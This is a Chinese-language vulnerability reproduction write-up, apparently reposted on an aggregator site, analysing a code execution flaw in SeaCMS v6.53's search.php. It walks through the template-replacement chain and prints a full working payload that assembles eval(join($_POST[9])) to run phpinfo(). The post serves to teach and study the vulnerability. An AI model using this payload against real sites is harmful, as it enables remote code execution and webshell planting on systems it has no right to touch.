[漏洞复现]seacms(v6.53)代码执行漏洞

编程入门 行业动态 更新时间:2024-10-26 03:28:57

个人博客地址

darkerbox.

欢迎大家学习交流

参考网址:

blog.csdn.net/weixin_44897902/article/details/100853036
jianshu./p/a3a18f233184?tdsourcetag=s_pctim_aiomsg

环境:

链接: pan.baidu./s/1kxMumGD1OU8_unvFBzgKVQ 提取码: 69hp 

漏洞概述

这篇文章主要写6.53版本绕过字符限制。并没有写之前的版本中用的order参数方法。


中间的安装过程就不细说了。

安装好后,页面是这样的,漏洞点出现在搜索那里


即search.php。

漏洞利用

我们来把参数整个流程说一下。
先在搜索框随意输入,点击搜视频或者搜资讯,然后抓包。发送到repeater。


可以看到,向search.php传了一个参数searchword

用phpstorm打开整个seacms目录。找到search.php(点两次shift键搜索search就可以)

这个文件肯定有个地方接收searchword参数,但是我没有找见。既然这里没有,那肯定就是包含了某个文件里有。


先看第一个包含的文件mon.php。找到了这个红框里的。应该就是接收参数的,把参数名当做变量名,把参数值作为变量的值。


回头再看search.php,漏洞点就在if判断中的str_replace函数。进行了多次替换。$searchtype=5表示高级搜索。所以进入判断需要先传参searchtype=5


下图中的红框都是上图中的选项。可以传参数。所以这些变量是可控的,

至于后面的$content。往上翻,就看见以下代码,在这里给$content赋值了。


getFileCachesetFileCache函数在mon.func.php文件,search.php也包含了这个文件。找见这两个函数,发现一个路径。然后就会发现每次进行高级搜索时,就会在这个路径下生成3个文件(也好像不是三个),文件内容我也不知道干嘛的



发现有的文件大小挺大的,打开看看。


我可能发现了点东西。因为我发现这两张图片很像,ssssss是我搜索的内容,说明search.php中的替换函数就是干这些的。$content应该可以理解为这样了,没毛病吧?

<meta name="keywords" content="{seacms:searchword},海洋CMS" />

现在这两个参数都是我们可控的

这样就可以绕过字符限制了。
,字符哪里限制了?在search.php开头就限制了,只取20个字符,而且还用addslashes。

到这一步就要放出网上的payload了。

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

searchtype=5就不细说了,这是为了高级搜索进入if判断
之后就是searchword={if{searchpage:year}
此时$content的内容为

<meta name="keywords" content="{if{searchpage:year},海洋CMS" />

然后执行下图语句进行替换

替换之后,$conent的内容为

<meta name="keywords" content="{if:e{searchpage:area}},海洋CMS" />

然后执行下图语句进行替换

替换之后,$conent的内容为

<meta name="keywords" content="{if:ev{searchpage:letter}},海洋CMS" />

然后执行下图语句进行替换

替换之后,$conent的内容为

<meta name="keywords" content="{if:eval{searchpage:lang}},海洋CMS" />

然后执行下图语句进行替换

替换之后,$conent的内容为

<meta name="keywords" content="{if:eval(join($_P{searchpage:ver}},海洋CMS" />

然后执行下图语句进行替换

替换之后,$conent的内容为

<meta name="keywords" content="{if:eval(join($_POST[9]))},海洋CMS" />

这样$content就含义一句话木马了。
为什么会有一个{if:呢?一会说。


看到第213行调用了parseIf方法

跟进,到了main.class.php文件里的第3098行

看方法入口的if判断,就明白为什么要有{if:了吧。
下图两个箭头代码就是取{if:的其他内容,此时解析出的内容eval(join($_POST[9]))

此时解析出的内容eval(join($_POST[9]))给了$iar。经过一系列操作后,传给了eval函数。执行最终的代码。


此时eval执行的最后代码为

@eval("if(eval(join($_POST[9]))){\$ifFlag=true;}else{\$ifFlag=false;}");

成功执行phpinfo函数

欢迎大家一起学习交流,共同进步,欢迎加入信息安全小白群

更多推荐

漏洞,代码,seacms

本文发布于:2023-05-25 10:57:38,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/226651.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:漏洞   代码   seacms

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!